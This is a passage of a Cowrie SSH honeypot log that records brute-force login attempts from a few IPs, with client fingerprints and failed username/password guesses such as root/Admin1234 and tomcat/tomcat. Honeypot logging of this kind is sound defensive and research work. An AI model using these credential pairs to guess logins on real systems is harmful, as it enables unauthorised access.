03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:28.754856Z","src_ip":"103.248.120.6","session":"c205b5ba8be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:29.063765Z","src_ip":"91.92.42.227","session":"1da94c72a435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41776,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a61ac566ed2","protocol":"ssh","message":"New connection: 91.92.42.227:41776 (10.17.0.5:22) [session: 3a61ac566ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:29.676496Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdf1234","message":"login attempt [user/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:30.310199Z","src_ip":"103.248.120.6","session":"c205b5ba8be1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:30.761451Z","src_ip":"91.92.42.227","session":"3a61ac566ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:30.764827Z","src_ip":"91.92.42.227","session":"3a61ac566ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:31.232974Z","src_ip":"91.92.42.227","session":"1da94c72a435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:31.539258Z","src_ip":"103.248.120.6","session":"c205b5ba8be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"modzmodz","message":"login attempt [user1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:35.701920Z","src_ip":"91.92.42.227","session":"3a61ac566ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45112,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e2a07a37be4","protocol":"ssh","message":"New connection: 91.92.42.227:45112 (10.17.0.5:22) [session: 6e2a07a37be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:36.432905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:37.540428Z","src_ip":"91.92.42.227","session":"6e2a07a37be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:37.543977Z","src_ip":"91.92.42.227","session":"6e2a07a37be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:37.906333Z","src_ip":"91.92.42.227","session":"3a61ac566ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:43.061148Z","src_ip":"91.92.42.227","session":"6e2a07a37be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45148,"dst_ip":"10.17.0.5","dst_port":22,"session":"578c378ac64d","protocol":"ssh","message":"New connection: 91.92.42.227:45148 (10.17.0.5:22) [session: 578c378ac64d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:43.383629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:44.510960Z","src_ip":"91.92.42.227","session":"578c378ac64d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:44.513989Z","src_ip":"91.92.42.227","session":"578c378ac64d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:45.251989Z","src_ip":"91.92.42.227","session":"6e2a07a37be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34250,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fcae718078c","protocol":"ssh","message":"New connection: 27.71.230.31:34250 (159.203.135.109:22) [session: 1fcae718078c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:48.329064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:49.084097Z","src_ip":"27.71.230.31","session":"1fcae718078c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:49.087175Z","src_ip":"27.71.230.31","session":"1fcae718078c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"rootroot","message":"login attempt [app/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:49.313691Z","src_ip":"91.92.42.227","session":"578c378ac64d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:51.138996Z","src_ip":"91.92.42.227","session":"578c378ac64d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234","message":"login attempt [root/Admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:52.018465Z","src_ip":"27.71.230.31","session":"1fcae718078c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56238,"dst_ip":"10.17.0.5","dst_port":22,"session":"c467254f587e","protocol":"ssh","message":"New connection: 91.92.42.227:56238 (10.17.0.5:22) [session: c467254f587e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:52.044303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:52.546323Z","src_ip":"91.92.42.227","session":"c467254f587e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:52.568169Z","src_ip":"91.92.42.227","session":"c467254f587e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:53.399228Z","src_ip":"27.71.230.31","session":"1fcae718078c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:54.761155Z","src_ip":"91.92.42.227","session":"c467254f587e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:56.219892Z","src_ip":"91.92.42.227","session":"c467254f587e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50674,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5a2188ee3d9","protocol":"ssh","message":"New connection: 91.92.42.227:50674 (10.17.0.5:22) [session: d5a2188ee3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:59.260687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:59.765313Z","src_ip":"91.92.42.227","session":"d5a2188ee3d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:11:59.768547Z","src_ip":"91.92.42.227","session":"d5a2188ee3d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:02.740985Z","src_ip":"91.92.42.227","session":"d5a2188ee3d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:04.339150Z","src_ip":"91.92.42.227","session":"d5a2188ee3d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":49930,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fc241cca3b5","protocol":"ssh","message":"New connection: 147.45.211.215:49930 (159.203.135.109:22) [session: 8fc241cca3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:05.207190Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38166,"dst_ip":"10.17.0.5","dst_port":22,"session":"f28305b4279f","protocol":"ssh","message":"New connection: 91.92.42.227:38166 (10.17.0.5:22) [session: f28305b4279f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:06.094028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:07.009625Z","src_ip":"91.92.42.227","session":"f28305b4279f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:07.012592Z","src_ip":"91.92.42.227","session":"f28305b4279f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:09.377590Z","src_ip":"91.92.42.227","session":"f28305b4279f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:11.015440Z","src_ip":"91.92.42.227","session":"f28305b4279f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38196,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1fc220d29fc","protocol":"ssh","message":"New connection: 91.92.42.227:38196 (10.17.0.5:22) [session: e1fc220d29fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:12.837658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:13.506388Z","src_ip":"91.92.42.227","session":"e1fc220d29fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:13.509344Z","src_ip":"91.92.42.227","session":"e1fc220d29fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40278,"dst_ip":"159.203.135.109","dst_port":22,"session":"af559576a422","protocol":"ssh","message":"New connection: 168.167.228.74:40278 (159.203.135.109:22) [session: af559576a422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:12:16.993242Z"}
